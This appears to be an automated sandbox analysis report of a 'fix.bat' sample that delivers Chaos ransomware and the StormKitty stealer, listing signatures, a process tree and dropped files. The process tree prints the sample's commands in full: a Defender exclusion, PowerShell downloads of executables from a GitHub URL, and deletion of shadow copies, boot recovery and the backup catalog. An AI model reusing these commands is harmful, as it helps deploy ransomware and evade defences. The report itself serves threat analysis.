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17/03/2025, 03:15

250317-dsdbfa1rt610

17/03/2025, 03:14

250317-drtxssyvfz10

Analysis

  • max time kernel
    48s
  • max time network
    44s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/03/2025, 03:15

General

  • Target
    fix.bat
  • Size 2KB
  • Sample250317-dsdbfa1rt6
  • SHA256 50c4082ed4c65e96649e53ba20fec89ead550d4774901dcccaf562db79a9e3e4
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

  • Chaos Ransomware 2 IoCs
  • Chaos family
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 2 IoCs
  • Stormkitty family
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Downloads MZ/PE file 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Drops desktop.ini file(s) 64 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 57 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fix.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5460
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5720
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/build.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\build.exe\" -ErrorAction Stop"
        2⤵
        • Blocklisted process makes network request
        • Downloads MZ/PE file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/kernelv.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\kernelv.exe\" -ErrorAction Stop"
        2⤵
        • Blocklisted process makes network request
        • Downloads MZ/PE file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4656
      • C:\Users\Admin\AppData\Local\Temp\build.exe
        "C:\Users\Admin\AppData\Local\Temp\build.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2760
        • C:\Users\Admin\AppData\Roaming\svchost.exe
          "C:\Users\Admin\AppData\Roaming\svchost.exe"
          3⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Drops desktop.ini file(s)
          • Sets desktop wallpaper using registry
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1880
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4880
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              5⤵
              • Interacts with shadow copies
              PID:4732
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5820
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:6108
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} bootstatuspolicy ignoreallfailures
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:112
            • C:\Windows\system32\bcdedit.exe
              bcdedit /set {default} recoveryenabled no
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3568
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:5084
            • C:\Windows\system32\wbadmin.exe
              wbadmin delete catalog -quiet
              5⤵
              • Deletes backup catalog
              PID:3340
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\readme.txt
            4⤵
            • Opens file in notepad (likely ransom note)
            PID:2908
      • C:\Users\Admin\AppData\Local\Temp\kernelv.exe
        "C:\Users\Admin\AppData\Local\Temp\kernelv.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpE8AA.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpE8AA.tmp.bat
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4360
          • C:\Windows\system32\chcp.com
            chcp 65001
            4⤵
              PID:5464
            • C:\Windows\system32\taskkill.exe
              TaskKill /F /IM 916
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5920
            • C:\Windows\system32\timeout.exe
              Timeout /T 2 /Nobreak
              4⤵
              • Delays execution with timeout.exe
              PID:280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
          2⤵
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4856
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4908
      • C:\Windows\system32\wbengine.exe
        "C:\Windows\system32\wbengine.exe"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3668
      • C:\Windows\System32\vdsldr.exe
        C:\Windows\System32\vdsldr.exe -Embedding
        1⤵
          PID:864
        • C:\Windows\System32\vds.exe
          C:\Windows\System32\vds.exe
          1⤵
          • Checks SCSI registry key(s)
          PID:452

        Network

              MITRE ATT&CK Enterprise v15

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              Downloads

              2012_x64_1_vcRuntimeAdditional_x64.log

              • Path C:\Users\Admin\2012_x64_1_vcRuntimeAdditional_x64.log
              • Size 1B
              • SHA256 8a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1
              • MD5 SHA1 SHA512

              build.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\build.exe.log
              • Size 226B
              • SHA256 2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c
              • MD5 SHA1 SHA512

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 6aa59e171898b3dd42a36662ef81d349ce5063a705f1261e881269c59e7c742b
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 0adaacb48f4ec2e6d592f9a606ec2fbbe309c755d96fb9d4a8f3ec710670897f
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 67c404e4a7aedca098c857a88ab8e9b8c1793fe8684d13efce11d7ab2ddec5fe
              • MD5 SHA1 SHA512

              __PSScriptPolicyTest_bvlaojh2.z5z.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bvlaojh2.z5z.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              build.exe

              • Path C:\Users\Admin\AppData\Local\Temp\build.exe
              • Size 137KB
              • SHA256 466a92e378a95752870abddd6af278fba89c5fef2cb3adfe2c4c114b9bd7cd93
              • MD5 SHA1 SHA512 SSDEEP

              kernelv.exe

              • Path C:\Users\Admin\AppData\Local\Temp\kernelv.exe
              • Size 106KB
              • SHA256 2caf96c82322cea4f755d4408b7f45173050d80e7d679ed92cca40adb9b5fd5f
              • MD5 SHA1 SHA512 SSDEEP

              tmpE8AA.tmp.bat

              • Path C:\Users\Admin\AppData\Local\Temp\tmpE8AA.tmp.bat
              • Size 113B
              • SHA256 4317f9b149850599e476ddc41b0d885b764bbfa51859eaa9dbbaab01bcadfa44
              • MD5 SHA1 SHA512

              readme.txt

              • Path C:\Users\Admin\readme.txt
              • Size 780B
              • SHA256 a66f43f9660c0b16c59eb22b1037c19af06f89d875344446cc63e90437f78fab
              • MD5 SHA1 SHA512

              memory/916-53-0x00000000007F0000-0x0000000000810000-memory.dmp

              memory/2004-12-0x00007FFEFE330000-0x00007FFEFEDF1000-memory.dmp

              memory/2004-15-0x00007FFEFE330000-0x00007FFEFEDF1000-memory.dmp

              memory/2004-0-0x00007FFEFE333000-0x00007FFEFE335000-memory.dmp

              memory/2004-11-0x00007FFEFE330000-0x00007FFEFEDF1000-memory.dmp

              memory/2004-6-0x00000236A45C0000-0x00000236A45E2000-memory.dmp

              memory/2760-52-0x00000000009B0000-0x00000000009D8000-memory.dmp

              memory/4628-17-0x00007FFEFE330000-0x00007FFEFEDF1000-memory.dmp

              memory/4628-33-0x00007FFEFE330000-0x00007FFEFEDF1000-memory.dmp

              memory/4628-19-0x00007FFEFE330000-0x00007FFEFEDF1000-memory.dmp

              memory/4628-32-0x0000024569740000-0x000002456995C000-memory.dmp

              memory/4628-18-0x00007FFEFE330000-0x00007FFEFEDF1000-memory.dmp